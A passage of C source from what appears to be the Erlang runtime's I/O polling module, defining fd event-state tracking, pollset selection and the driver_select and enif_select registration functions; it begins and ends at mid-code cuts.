ERTS_EV_FLAG_SCHEDULER = ERTS_EV_FLAG_CLEAR, ERTS_EV_FLAG_IN_SCHEDULER = ERTS_EV_FLAG_CLEAR, #endif #ifdef ERTS_POLL_USE_FALLBACK ERTS_EV_FLAG_FALLBACK = 8, /* Set when kernel poll rejected fd and it was put in the nkp version */ #else ERTS_EV_FLAG_FALLBACK = ERTS_EV_FLAG_CLEAR, #endif /* Combinations */ ERTS_EV_FLAG_USED_FALLBACK = ERTS_EV_FLAG_USED | ERTS_EV_FLAG_FALLBACK, ERTS_EV_FLAG_USED_SCHEDULER = ERTS_EV_FLAG_USED | ERTS_EV_FLAG_SCHEDULER, ERTS_EV_FLAG_USED_IN_SCHEDULER = ERTS_EV_FLAG_USED | ERTS_EV_FLAG_SCHEDULER | ERTS_EV_FLAG_IN_SCHEDULER, ERTS_EV_FLAG_UNUSED_SCHEDULER = ERTS_EV_FLAG_SCHEDULER, ERTS_EV_FLAG_UNUSED_IN_SCHEDULER = ERTS_EV_FLAG_SCHEDULER | ERTS_EV_FLAG_IN_SCHEDULER } EventStateFlags; #define flag2str(flags) \ ((flags) == ERTS_EV_FLAG_CLEAR ? "CLEAR" : \ ((flags) == ERTS_EV_FLAG_USED ? "USED" : \ ((flags) == ERTS_EV_FLAG_FALLBACK ? "FLBK" : \ ((flags) == ERTS_EV_FLAG_USED_FALLBACK ? "USED|FLBK" : \ ((flags) == ERTS_EV_FLAG_USED_SCHEDULER ? "USED|SCHD" : \ ((flags) == ERTS_EV_FLAG_UNUSED_SCHEDULER ? "SCHD" : \ ((flags) == ERTS_EV_FLAG_USED_IN_SCHEDULER ? "USED|IN_SCHD" : \ ((flags) == ERTS_EV_FLAG_UNUSED_IN_SCHEDULER ? "IN_SCHD" : \ "ERROR")))))))) /* How many events that can be handled at once by one erts_poll_wait call */ #define ERTS_CHECK_IO_POLL_RES_LEN 512 /* Each I/O Poll Thread has one ErtsPollThread each. The ps field can point to either a private ErtsPollSet or a shared one. At the moment only kqueue and epoll pollsets can be shared across threads. */ typedef struct erts_poll_thread { ErtsPollSet *ps; ErtsPollResFd *pollres; ErtsThrPrgrData *tpd; int pollres_len; } ErtsPollThread; /* pollsetv contains pointers to the ErtsPollSets that are in use. * Which pollset to use is determined by hashing the fd. */ static ErtsPollSet **pollsetv; static ErtsPollThread *psiv; #if ERTS_POLL_USE_FALLBACK static ErtsPollSet *flbk_pollset; #endif #if ERTS_POLL_USE_SCHEDULER_POLLING static ErtsPollSet *sched_pollset; #endif typedef struct { #ifndef ERTS_SYS_CONTINOUS_FD_NUMBERS SafeHashBucket hb; #endif ErtsSysFdType fd; struct { ErtsDrvSelectDataState *select; /* ERTS_EV_TYPE_DRV_SEL */ ErtsNifSelectDataState *nif; /* ERTS_EV_TYPE_NIF */ union { erts_driver_t* drv_ptr; /* ERTS_EV_TYPE_STOP_USE */ ErtsResource* resource; /* ERTS_EV_TYPE_STOP_NIF */ } stop; } driver; ErtsPollEvents events; /* The events that have been selected upon */ ErtsPollEvents active_events; /* The events currently active in the pollset */ EventStateType type; EventStateFlags flags; int count; /* Number of times this fd has triggered without being deselected. */ } ErtsDrvEventState; struct drv_ev_state_shared { union { erts_mtx_t lck; byte _cache_line_alignment[ERTS_ALC_CACHE_LINE_ALIGN_SIZE(sizeof(erts_mtx_t))]; } locks[ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT]; #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS int max_fds; erts_atomic_t len; ErtsDrvEventState *v; erts_mtx_t grow_lock; /* prevent lock-hogging of racing growers */ #else SafeHash tab; int num_prealloc; ErtsDrvEventState *prealloc_first; erts_spinlock_t prealloc_lock; #endif }; int ERTS_WRITE_UNLIKELY(erts_no_pollsets) = 1; int ERTS_WRITE_UNLIKELY(erts_no_poll_threads) = 1; struct drv_ev_state_shared drv_ev_state; static ERTS_INLINE int fd_hash(ErtsSysFdType fd) { #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS int hash = (int)fd; #else int hash = (int)(SWord)fd; hash ^= (hash >> 9); #endif return hash; } static ERTS_INLINE erts_mtx_t* fd_mtx(ErtsSysFdType fd) { return &drv_ev_state.locks[fd_hash(fd) % ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT].lck; } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS static ERTS_INLINE ErtsDrvEventState *get_drv_ev_state(ErtsSysFdType fd) { return &drv_ev_state.v[(int) fd]; } #define new_drv_ev_state(State, fd) (State) #define erase_drv_ev_state(State) static ERTS_INLINE int grow_drv_ev_state(ErtsSysFdType fd) { int i; int old_len; int new_len; if ((unsigned)fd >= (unsigned)erts_atomic_read_nob(&drv_ev_state.len)) { if (fd < 0 || fd >= drv_ev_state.max_fds) return 0; erts_mtx_lock(&drv_ev_state.grow_lock); old_len = erts_atomic_read_nob(&drv_ev_state.len); if (fd >= old_len) { new_len = erts_poll_new_table_len(old_len, fd + 1); if (new_len > drv_ev_state.max_fds) new_len = drv_ev_state.max_fds; for (i=0; i<ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT; i++) { /* lock all fd's */ erts_mtx_lock(&drv_ev_state.locks[i].lck); } drv_ev_state.v = (drv_ev_state.v ? erts_realloc(ERTS_ALC_T_DRV_EV_STATE, drv_ev_state.v, sizeof(ErtsDrvEventState)*new_len) : erts_alloc(ERTS_ALC_T_DRV_EV_STATE, sizeof(ErtsDrvEventState)*new_len)); ERTS_CT_ASSERT(ERTS_EV_TYPE_NONE == 0); sys_memzero(drv_ev_state.v+old_len, sizeof(ErtsDrvEventState) * (new_len - old_len)); for (i = old_len; i < new_len; i++) { drv_ev_state.v[i].fd = (ErtsSysFdType) i; } erts_atomic_set_nob(&drv_ev_state.len, new_len); for (i=0; i<ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT; i++) { erts_mtx_unlock(&drv_ev_state.locks[i].lck); } } /*else already grown by racing thread */ erts_mtx_unlock(&drv_ev_state.grow_lock); } return 1; } static int drv_ev_state_len(void) { return erts_atomic_read_nob(&drv_ev_state.len); } #else /* !ERTS_SYS_CONTINOUS_FD_NUMBERS */ static ERTS_INLINE ErtsDrvEventState *get_drv_ev_state(ErtsSysFdType fd) { ErtsDrvEventState tmpl; tmpl.fd = fd; return (ErtsDrvEventState *) safe_hash_get(&drv_ev_state.tab, (void *) &tmpl); } static ERTS_INLINE ErtsDrvEventState* new_drv_ev_state(ErtsDrvEventState *state, ErtsSysFdType fd) { ErtsDrvEventState tmpl; if (state) return state; tmpl.fd = fd; tmpl.driver.select = NULL; tmpl.driver.nif = NULL; tmpl.driver.stop.drv_ptr = NULL; tmpl.events = 0; tmpl.active_events = 0; tmpl.type = ERTS_EV_TYPE_NONE; tmpl.flags = 0; return (ErtsDrvEventState *) safe_hash_put(&drv_ev_state.tab, (void *) &tmpl); } static ERTS_INLINE void erase_drv_ev_state(ErtsDrvEventState *state) { safe_hash_erase(&drv_ev_state.tab, (void *) state); } static int drv_ev_state_len(void) { return erts_atomic_read_nob(&drv_ev_state.tab.nitems); } #endif /* !ERTS_SYS_CONTINOUS_FD_NUMBERS */ static void stale_drv_select(Eterm id, ErtsDrvEventState *state, int mode); static void drv_select_steal(ErlDrvPort ix, ErtsDrvEventState *state, int mode, int on); static void nif_select_steal(ErtsDrvEventState *state, int mode, ErtsResource* resource, Eterm ref); static void print_drv_select_op(erts_dsprintf_buf_t *dsbufp, ErlDrvPort ix, ErtsSysFdType fd, int mode, int on); static void print_nif_select_op(erts_dsprintf_buf_t*, ErtsSysFdType, int mode, ErtsResource*, Eterm ref); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS static void drv_select_large_fd_error(ErlDrvPort, ErtsSysFdType, int, int); static void nif_select_large_fd_error(ErtsSysFdType, int, ErtsResource*,Eterm ref); #endif static void steal_pending_stop_use(erts_dsprintf_buf_t*, ErlDrvPort, ErtsDrvEventState*, int mode, int on); static void steal_pending_stop_nif(erts_dsprintf_buf_t *dsbufp, ErtsResource*, ErtsDrvEventState *state, int mode, int on); static ERTS_INLINE void check_fd_cleanup(ErtsDrvEventState *state, ErtsDrvSelectDataState **free_select, ErtsNifSelectDataState **free_nif); static ERTS_INLINE void iready(Eterm id, ErtsDrvEventState *state); static ERTS_INLINE void oready(Eterm id, ErtsDrvEventState *state); #ifdef DEBUG_PRINT_MODE static char *drvmode2str(int mode); static char *nifmode2str(enum ErlNifSelectFlags mode); #endif static ERTS_INLINE void init_iotask(ErtsIoTask *io_task, ErtsSysFdType fd) { erts_port_task_handle_init(&io_task->task); io_task->fd = fd; } static ERTS_INLINE int is_iotask_active(ErtsIoTask *io_task) { if (erts_port_task_is_scheduled(&io_task->task)) return 1; return 0; } static ERTS_INLINE ErtsDrvSelectDataState * alloc_drv_select_data(ErtsSysFdType fd) { ErtsDrvSelectDataState *dsp = erts_alloc(ERTS_ALC_T_DRV_SEL_D_STATE, sizeof(ErtsDrvSelectDataState)); dsp->inport = NIL; dsp->outport = NIL; init_iotask(&dsp->iniotask, fd); init_iotask(&dsp->outiotask, fd); return dsp; } static ERTS_INLINE ErtsNifSelectDataState * alloc_nif_select_data(void) { ErtsNifSelectDataState *dsp = erts_alloc(ERTS_ALC_T_NIF_SEL_D_STATE, sizeof(ErtsNifSelectDataState)); dsp->in.pid = NIL; dsp->out.pid = NIL; return dsp; } static ERTS_INLINE void free_drv_select_data(ErtsDrvSelectDataState *dsp) { ASSERT(!erts_port_task_is_scheduled(&dsp->iniotask.task)); ASSERT(!erts_port_task_is_scheduled(&dsp->outiotask.task)); erts_free(ERTS_ALC_T_DRV_SEL_D_STATE, dsp); } static ERTS_INLINE void free_nif_select_data(ErtsNifSelectDataState *dsp) { erts_free(ERTS_ALC_T_NIF_SEL_D_STATE, dsp); } static ERTS_INLINE int get_pollset_id(ErtsSysFdType fd) { return fd_hash(fd) % erts_no_pollsets; } static ERTS_INLINE ErtsPollSet * get_pollset(ErtsSysFdType fd) { return pollsetv[get_pollset_id(fd)]; } #if ERTS_POLL_USE_FALLBACK static ERTS_INLINE ErtsPollSet * get_fallback_pollset(void) { return flbk_pollset; } #endif static ERTS_INLINE ErtsPollSet * get_scheduler_pollset(ErtsSysFdType fd) { #if ERTS_POLL_USE_SCHEDULER_POLLING return sched_pollset; #else return get_pollset(fd); #endif } /* * Place a fd within a pollset. This will automatically use * the fallback ps if needed. */ static ERTS_INLINE ErtsPollEvents erts_io_control_wakeup(ErtsDrvEventState *state, ErtsPollOp op, ErtsPollEvents pe, int *wake_poller) { ErtsSysFdType fd = state->fd; ErtsPollEvents res = 0; EventStateFlags flags = state->flags; ERTS_LC_ASSERT(erts_lc_mtx_is_locked(fd_mtx(state->fd))); if (!(flags & ERTS_EV_FLAG_FALLBACK)) { if (op == ERTS_POLL_OP_DEL && (flags & ERTS_EV_FLAG_SCHEDULER)) { erts_poll_control(get_scheduler_pollset(fd), fd, op, pe, wake_poller); flags &= ~ERTS_EV_FLAG_IN_SCHEDULER; } if (!(flags & ERTS_EV_FLAG_IN_SCHEDULER) || (pe & ERTS_POLL_EV_OUT)) { res = erts_poll_control(get_pollset(fd), fd, op, pe, wake_poller); } else { res = erts_poll_control(get_scheduler_pollset(fd), fd, op, pe, wake_poller); } #if ERTS_POLL_USE_FALLBACK if (op == ERTS_POLL_OP_ADD && res == ERTS_POLL_EV_NVAL) { /* When an add fails with NVAL, the poll/kevent operation could not put that fd in the pollset, so we instead put it into a fallback pollset */ state->flags |= ERTS_EV_FLAG_FALLBACK; res = erts_poll_control_flbk(get_fallback_pollset(), fd, op, pe, wake_poller); } } else { ASSERT(op != ERTS_POLL_OP_ADD); res = erts_poll_control_flbk(get_fallback_pollset(), fd, op, pe, wake_poller); #endif } return res; } static ERTS_INLINE ErtsPollEvents erts_io_control(ErtsDrvEventState *state, ErtsPollOp op, ErtsPollEvents pe) { int wake_poller = 0; return erts_io_control_wakeup(state, op, pe, &wake_poller); } /* ToDo: Was inline in erl_check_io.h but now need struct erts_poll_thread */ void erts_io_notify_port_task_executed(ErtsPortTaskType type, ErtsPortTaskHandle *pthp, void (*reset_handle)(ErtsPortTaskHandle *)) { ErtsIoTask *itp = ErtsContainerStruct(pthp, ErtsIoTask, task); ErtsSysFdType fd = itp->fd; erts_mtx_t *mtx = fd_mtx(fd); ErtsPollOp op = ERTS_POLL_OP_MOD; int active_events, new_events = 0; ErtsDrvEventState *state; ErtsDrvSelectDataState *free_select = NULL; ErtsNifSelectDataState *free_nif = NULL; ERTS_MSACC_PUSH_AND_SET_STATE_M_X(ERTS_MSACC_STATE_CHECK_IO); erts_mtx_lock(mtx); state = get_drv_ev_state(fd); reset_handle(pthp); active_events = state->active_events; if (!(state->flags & ERTS_EV_FLAG_IN_SCHEDULER) || type == ERTS_PORT_TASK_OUTPUT) { switch (type) { case ERTS_PORT_TASK_INPUT: DEBUG_PRINT_FD("executed ready_input", state); ASSERT(!(state->active_events & ERTS_POLL_EV_IN)); if (state->events & ERTS_POLL_EV_IN) { active_events |= ERTS_POLL_EV_IN; if (state->count > 10 && ERTS_POLL_USE_SCHEDULER_POLLING) { if (!(state->flags & ERTS_EV_FLAG_SCHEDULER)) op = ERTS_POLL_OP_ADD; state->flags |= ERTS_EV_FLAG_IN_SCHEDULER|ERTS_EV_FLAG_SCHEDULER; new_events = ERTS_POLL_EV_IN; DEBUG_PRINT_FD("moving to scheduler ps", state); } else new_events = active_events; if (!(state->flags & ERTS_EV_FLAG_FALLBACK) && ERTS_POLL_USE_SCHEDULER_POLLING) state->count++; } break; case ERTS_PORT_TASK_OUTPUT: DEBUG_PRINT_FD("executed ready_output", state); ASSERT(!(state->active_events & ERTS_POLL_EV_OUT)); if (state->events & ERTS_POLL_EV_OUT) { active_events |= ERTS_POLL_EV_OUT; if (state->flags & ERTS_EV_FLAG_IN_SCHEDULER && active_events & ERTS_POLL_EV_IN) new_events = ERTS_POLL_EV_OUT; else new_events = active_events; } break; default: erts_exit(ERTS_ABORT_EXIT, "Invalid IO port task type"); break; } if (state->active_events != active_events && new_events) { state->active_events = active_events; new_events = erts_io_control(state, op, new_events); } /* We were unable to re-insert the fd into the pollset, signal the callback. */ if (new_events & (ERTS_POLL_EV_ERR|ERTS_POLL_EV_NVAL)) { if (state->active_events & ERTS_POLL_EV_IN) iready(state->driver.select->inport, state); if (state->active_events & ERTS_POLL_EV_OUT) oready(state->driver.select->outport, state); state->active_events = 0; active_events = 0; } } if (!active_events) check_fd_cleanup(state, &free_select, &free_nif); erts_mtx_unlock(mtx); if (free_select) free_drv_select_data(free_select); if (free_nif) free_nif_select_data(free_nif); ERTS_MSACC_POP_STATE_M_X(); } static ERTS_INLINE void abort_task(Eterm id, ErtsPortTaskHandle *pthp, EventStateType type) { if (is_not_nil(id) && erts_port_task_is_scheduled(pthp)) { erts_port_task_abort(pthp); ASSERT(erts_is_port_alive(id)); } } static ERTS_INLINE void abort_tasks(ErtsDrvEventState *state, int mode) { switch (mode) { case 0: check_type: switch (state->type) { case ERTS_EV_TYPE_NIF: case ERTS_EV_TYPE_NONE: return; default: ASSERT(state->type == ERTS_EV_TYPE_DRV_SEL); /* Fall through */ } case ERL_DRV_READ|ERL_DRV_WRITE: case ERL_DRV_WRITE: ASSERT(state->type == ERTS_EV_TYPE_DRV_SEL); abort_task(state->driver.select->outport, &state->driver.select->outiotask.task, state->type); if (mode == ERL_DRV_WRITE) break; case ERL_DRV_READ: ASSERT(state->type == ERTS_EV_TYPE_DRV_SEL); abort_task(state->driver.select->inport, &state->driver.select->iniotask.task, state->type); break; default: goto check_type; } } static void prepare_select_msg(struct erts_nif_select_event* e, enum ErlNifSelectFlags mode, Eterm recipient, ErtsResource* resource, Eterm msg, ErlNifEnv* msg_env, Eterm event_atom) { ErtsMessage* mp; Eterm* hp; Uint hsz; if (is_not_nil(e->pid)) { ASSERT(e->mp); erts_cleanup_messages(e->mp); } if (mode & ERL_NIF_SELECT_CUSTOM_MSG) { if (msg_env) { mp = erts_create_message_from_nif_env(msg_env); ERL_MESSAGE_TERM(mp) = msg; } else { hsz = size_object(msg); mp = erts_alloc_message(hsz, &hp); ERL_MESSAGE_TERM(mp) = copy_struct(msg, hsz, &hp, &mp->hfrag.off_heap); } } else { ErtsBinary* bin; Eterm resource_term, ref_term, tuple; Eterm* hp_start; /* {select, Resource, Ref, EventAtom} */ hsz = 5 + ERTS_MAGIC_REF_THING_SIZE; if (is_internal_ref(msg)) hsz += ERTS_REF_THING_SIZE; else ASSERT(is_immed(msg)); mp = erts_alloc_message(hsz, &hp); hp_start = hp; bin = ERTS_MAGIC_BIN_FROM_UNALIGNED_DATA(resource); resource_term = erts_mk_magic_ref(&hp, &mp->hfrag.off_heap, &bin->binary); if (is_internal_ref(msg)) { Uint32* refn = internal_ref_numbers(msg); write_ref_thing(hp, refn[0], refn[1], refn[2]); ref_term = make_internal_ref(hp); hp += ERTS_REF_THING_SIZE; } else { ASSERT(is_immed(msg)); ref_term = msg; } tuple = TUPLE4(hp, am_select, resource_term, ref_term, event_atom); hp += 5; ERL_MESSAGE_TERM(mp) = tuple; ASSERT(hp == hp_start + hsz); (void)hp_start; } ASSERT(is_not_nil(recipient)); e->pid = recipient; e->mp = mp; } static ERTS_INLINE void send_select_msg(struct erts_nif_select_event* e) { Process* rp = erts_proc_lookup(e->pid); ASSERT(is_internal_pid(e->pid)); if (!rp) { erts_cleanup_messages(e->mp); return; } erts_queue_message(rp, 0, e->mp, ERL_MESSAGE_TERM(e->mp), am_system); } static void clear_select_event(struct erts_nif_select_event* e) { if (is_not_nil(e->pid)) { /* Discard unsent message */ ASSERT(e->mp); erts_cleanup_messages(e->mp); e->mp = NULL; e->pid = NIL; } } static void deselect(ErtsDrvEventState *state, int mode) { ErtsPollEvents rm_events; ERTS_LC_ASSERT(erts_lc_mtx_is_locked(fd_mtx(state->fd))); abort_tasks(state, mode); if (!mode) { rm_events = state->events; } else { rm_events = 0; ASSERT(state->type == ERTS_EV_TYPE_DRV_SEL); if (mode & ERL_DRV_READ) { state->driver.select->inport = NIL; rm_events |= ERTS_POLL_EV_IN; } if (mode & ERL_DRV_WRITE) { state->driver.select->outport = NIL; rm_events |= ERTS_POLL_EV_OUT; } } state->events &= ~rm_events; state->active_events &= ~rm_events; if (!(state->events)) { erts_io_control(state, ERTS_POLL_OP_DEL, 0); switch (state->type) { case ERTS_EV_TYPE_NIF: clear_select_event(&state->driver.nif->in); clear_select_event(&state->driver.nif->out); enif_release_resource(state->driver.stop.resource->data); state->driver.stop.resource = NULL; break; case ERTS_EV_TYPE_DRV_SEL: state->driver.select->inport = NIL; state->driver.select->outport = NIL; break; case ERTS_EV_TYPE_NONE: break; default: ASSERT(0); break; } state->type = ERTS_EV_TYPE_NONE; state->flags = 0; } else { ErtsPollEvents new_events = erts_io_control(state, ERTS_POLL_OP_MOD, state->active_events); /* We were unable to re-insert the fd into the pollset, signal the callback. */ if (new_events & (ERTS_POLL_EV_ERR|ERTS_POLL_EV_NVAL)) { if (state->active_events & ERTS_POLL_EV_IN) iready(state->driver.select->inport, state); if (state->active_events & ERTS_POLL_EV_OUT) oready(state->driver.select->outport, state); state->active_events = 0; } } } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS # define IS_FD_UNKNOWN(state) ((state)->type == ERTS_EV_TYPE_NONE) #else # define IS_FD_UNKNOWN(state) ((state) == NULL) #endif static ERTS_INLINE void check_fd_cleanup(ErtsDrvEventState *state, ErtsDrvSelectDataState **free_select, ErtsNifSelectDataState **free_nif) { ERTS_LC_ASSERT(erts_lc_mtx_is_locked(fd_mtx(state->fd))); *free_select = NULL; if (state->driver.select && (state->type != ERTS_EV_TYPE_DRV_SEL) && !is_iotask_active(&state->driver.select->iniotask) && !is_iotask_active(&state->driver.select->outiotask)) { *free_select = state->driver.select; state->driver.select = NULL; } *free_nif = NULL; if (state->driver.nif && (state->type != ERTS_EV_TYPE_NIF)) { *free_nif = state->driver.nif; state->driver.nif = NULL; } if (((state->type != ERTS_EV_TYPE_NONE) | (state->driver.nif != NULL) | (state->driver.select != NULL)) == 0) { erase_drv_ev_state(state); } } #ifdef __WIN32__ # define MUST_DEFER(MAY_SLEEP) 1 #else # define MUST_DEFER(MAY_SLEEP) (MAY_SLEEP) #endif int driver_select(ErlDrvPort ix, ErlDrvEvent e, int mode, int on) { void (*stop_select_fn)(ErlDrvEvent, void*) = NULL; Port *prt = erts_drvport2port(ix); Eterm id = erts_drvport2id(ix); ErtsSysFdType fd = (ErtsSysFdType) e; ErtsPollEvents ctl_events = (ErtsPollEvents) 0; ErtsPollEvents old_events; ErtsPollEvents new_events; ErtsPollOp ctl_op = ERTS_POLL_OP_MOD; ErtsDrvEventState *state; int wake_poller = 0; int ret; ErtsDrvSelectDataState *free_select = NULL; ErtsNifSelectDataState *free_nif = NULL; #ifdef USE_VM_PROBES DTRACE_CHARBUF(name, 64); #endif ERTS_MSACC_PUSH_AND_SET_STATE(ERTS_MSACC_STATE_CHECK_IO); if (prt == ERTS_INVALID_ERL_DRV_PORT) { ERTS_MSACC_POP_STATE(); return -1; } ERTS_LC_ASSERT(erts_lc_is_port_locked(prt)); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS if (!grow_drv_ev_state(fd)) { if (fd > 0) drv_select_large_fd_error(ix, fd, mode, on); ERTS_MSACC_POP_STATE(); return -1; } #endif erts_mtx_lock(fd_mtx(fd)); state = get_drv_ev_state(fd); /* may be NULL! */ DEBUG_PRINT_FD("driver_select(%T, %p, %s, %d)", state, id, fd, drvmode2str(mode), on); if (!on) { if (IS_FD_UNKNOWN(state)) { if ((mode&ERL_DRV_USE_NO_CALLBACK) == ERL_DRV_USE) { /* fast track to stop_select callback */ stop_select_fn = prt->drv_ptr->stop_select; #ifdef USE_VM_PROBES strncpy(name, prt->drv_ptr->name, sizeof(DTRACE_CHARBUF_NAME(name))-1); name[sizeof(name)-1] = '\0'; #endif } ret = 0; goto done_unknown; } /* For some reason (don't know why), we do not clean all events when doing ERL_DRV_USE_NO_CALLBACK. */ else if ((mode&ERL_DRV_USE_NO_CALLBACK) == ERL_DRV_USE) { mode |= (ERL_DRV_READ | ERL_DRV_WRITE); } } state = new_drv_ev_state(state, fd); switch (state->type) { case ERTS_EV_TYPE_NIF: drv_select_steal(ix, state, mode, on); break; case ERTS_EV_TYPE_STOP_USE: { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_drv_select_op(dsbufp, ix, state->fd, mode, on); steal_pending_stop_use(dsbufp, ix, state, mode, on); if (state->type == ERTS_EV_TYPE_STOP_USE) { ret = 0; goto done; /* stop_select still pending */ } ASSERT(state->type == ERTS_EV_TYPE_NONE); break; } case ERTS_EV_TYPE_STOP_NIF: { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_drv_select_op(dsbufp, ix, state->fd, mode, on); steal_pending_stop_nif(dsbufp, NULL, state, mode, on); ASSERT(state->type == ERTS_EV_TYPE_NONE); break; } default: break; } if (mode & ERL_DRV_READ) { if (state->type == ERTS_EV_TYPE_DRV_SEL) { Eterm owner = state->driver.select->inport; if (owner != id && is_not_nil(owner)) drv_select_steal(ix, state, mode, on); } ctl_events = ERTS_POLL_EV_IN; } if (mode & ERL_DRV_WRITE) { if (state->type == ERTS_EV_TYPE_DRV_SEL) { Eterm owner = state->driver.select->outport; if (owner != id && is_not_nil(owner)) drv_select_steal(ix, state, mode, on); } ctl_events |= ERTS_POLL_EV_OUT; } ASSERT((state->type == ERTS_EV_TYPE_DRV_SEL) || (state->type == ERTS_EV_TYPE_NONE && !state->events)); old_events = state->events; if (on) { ctl_events &= ~old_events; state->events |= ctl_events; if (ctl_events & ERTS_POLL_EV_IN && (!state->driver.select || !is_iotask_active(&state->driver.select->iniotask))) state->active_events |= ERTS_POLL_EV_IN; if (ctl_events & ERTS_POLL_EV_OUT && (!state->driver.select || !is_iotask_active(&state->driver.select->outiotask))) state->active_events |= ERTS_POLL_EV_OUT; if (old_events == 0 && !(state->flags & ERTS_EV_FLAG_USED)) { ctl_op = ERTS_POLL_OP_ADD; } new_events = state->active_events; if (state->flags & ERTS_EV_FLAG_IN_SCHEDULER) new_events &= ~ERTS_POLL_EV_IN; } else { ctl_events &= old_events; state->events &= ~ctl_events; state->active_events &= ~ctl_events; new_events = state->active_events; if (ctl_events & ERTS_POLL_EV_IN) { state->count = 0; if (state->flags & ERTS_EV_FLAG_IN_SCHEDULER) { new_events = 0; } } if (!state->events) { if (!(state->flags & ERTS_EV_FLAG_USED) || mode & ERL_DRV_USE) ctl_op = ERTS_POLL_OP_DEL; } } if (ctl_events || ctl_op == ERTS_POLL_OP_DEL) { new_events = erts_io_control_wakeup(state, ctl_op, new_events, &wake_poller); ASSERT(state->type == ERTS_EV_TYPE_DRV_SEL || state->type == ERTS_EV_TYPE_NONE); } if (on) { if (ctl_events) { if (!state->driver.select) state->driver.select = alloc_drv_select_data(state->fd); if (state->type == ERTS_EV_TYPE_NONE) state->type = ERTS_EV_TYPE_DRV_SEL; ASSERT(state->type == ERTS_EV_TYPE_DRV_SEL); if (ctl_events & ERTS_POLL_EV_IN) { state->driver.select->inport = id; if (new_events & (ERTS_POLL_EV_ERR|ERTS_POLL_EV_NVAL)) iready(id, state); } if (ctl_events & ERTS_POLL_EV_OUT) { state->driver.select->outport = id; if (new_events & (ERTS_POLL_EV_ERR|ERTS_POLL_EV_NVAL)) oready(id, state); } if (mode & ERL_DRV_USE) state->flags |= ERTS_EV_FLAG_USED; } } else { /* off */ if (state->type == ERTS_EV_TYPE_DRV_SEL) { if (ctl_events & ERTS_POLL_EV_IN) { abort_tasks(state, ERL_DRV_READ); state->driver.select->inport = NIL; state->flags &= ~ERTS_EV_FLAG_IN_SCHEDULER; } if (ctl_events & ERTS_POLL_EV_OUT) { abort_tasks(state, ERL_DRV_WRITE); state->driver.select->outport = NIL; } if (state->events == 0) { if ((mode & ERL_DRV_USE) || !(state->flags & ERTS_EV_FLAG_USED)) { state->type = ERTS_EV_TYPE_NONE; if (state->flags & ERTS_EV_FLAG_SCHEDULER) erts_atomic32_read_bor_nob(&prt->state, ERTS_PORT_SFLG_CHECK_FD_CLEANUP); state->flags = 0; } /*else keep it, as fd will probably be selected upon again */ } } if ((mode & ERL_DRV_USE_NO_CALLBACK) == ERL_DRV_USE) { erts_driver_t* drv_ptr = prt->drv_ptr; ASSERT(state->events==0); if (!wake_poller) { /* Safe to close fd now as it is not in pollset or there was no need to eject fd (kernel poll) */ stop_select_fn = drv_ptr->stop_select; #ifdef USE_VM_PROBES strncpy(name, prt->drv_ptr->name, sizeof(name)-1); name[sizeof(name)-1] = '\0'; #endif } else { /* Not safe to close fd, postpone stop_select callback. */ state->type = ERTS_EV_TYPE_STOP_USE; state->driver.stop.drv_ptr = drv_ptr; if (drv_ptr->handle) { erts_ddll_reference_referenced_driver(drv_ptr->handle); } } } } ret = 0; done: check_fd_cleanup(state, &free_select, &free_nif); done_unknown: erts_mtx_unlock(fd_mtx(fd)); if (stop_select_fn) { int was_unmasked = erts_block_fpe(); DTRACE1(driver_stop_select, name); LTTNG1(driver_stop_select, "unknown"); (*stop_select_fn)(e, NULL); erts_unblock_fpe(was_unmasked); } if (free_select) free_drv_select_data(free_select); if (free_nif) free_nif_select_data(free_nif); ERTS_MSACC_POP_STATE(); return ret; } int enif_select(ErlNifEnv* env, ErlNifEvent e, enum ErlNifSelectFlags mode, void* obj, const ErlNifPid* pid, Eterm msg) { return enif_select_x(env, e, mode, obj, pid, msg, NULL); } int enif_select_x(ErlNifEnv* env, ErlNifEvent e, enum ErlNifSelectFlags mode, void* obj, const ErlNifPid* pid, Eterm msg, ErlNifEnv* msg_env) { int on; ErtsResource* resource = DATA_TO_RESOURCE(obj); ErtsSysFdType fd = (ErtsSysFdType) e; ErtsPollEvents ctl_events = (ErtsPollEvents) 0; ErtsPollEvents old_events; ErtsPollOp ctl_op = ERTS_POLL_OP_MOD; ErtsDrvEventState *state; int ret, wake_poller = 0; enum { NO_STOP=0, CALL_STOP, CALL_STOP_AND_RELEASE } call_stop = NO_STOP; ErtsDrvSelectDataState *free_select = NULL; ErtsNifSelectDataState *free_nif = NULL; ASSERT(!erts_dbg_is_resource_dying(resource)); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS if (!grow_drv_ev_state(fd)) { if (fd > 0) nif_select_large_fd_error(fd, mode, resource, msg); return INT_MIN | ERL_NIF_SELECT_INVALID_EVENT; } #endif erts_mtx_lock(fd_mtx(fd)); state = get_drv_ev_state(fd); /* may be NULL! */ DEBUG_PRINT_FD("enif_select(%T, %d, %s, %p, %T, %T)", state, env->proc->common.id, fd, nifmode2str(mode), resource, pid ? pid->pid : THE_NON_VALUE, THE_NON_VALUE); if (mode & ERL_NIF_SELECT_STOP) { ASSERT(resource->type->fn.stop); if (IS_FD_UNKNOWN(state)) { /* fast track to stop callback */ call_stop = CALL_STOP; ret = ERL_NIF_SELECT_STOP_CALLED; goto done_unknown; } on = 0; mode = ERL_DRV_READ | ERL_DRV_WRITE | ERL_DRV_USE; ctl_events = ERTS_POLL_EV_IN | ERTS_POLL_EV_OUT; ctl_op = ERTS_POLL_OP_DEL; } else { on = !(mode & ERL_NIF_SELECT_CANCEL); ASSERT(mode); if (mode & ERL_DRV_READ) { ctl_events |= ERTS_POLL_EV_IN; } if (mode & ERL_DRV_WRITE) { ctl_events |= ERTS_POLL_EV_OUT; } } state = new_drv_ev_state(state,fd); switch (state->type) { case ERTS_EV_TYPE_NIF: /* * Changing resource is considered stealing. * Changing process and/or ref is ok (I think?). */ if (state->driver.stop.resource != resource) nif_select_steal(state, ERL_DRV_READ | ERL_DRV_WRITE, resource, msg); break; case 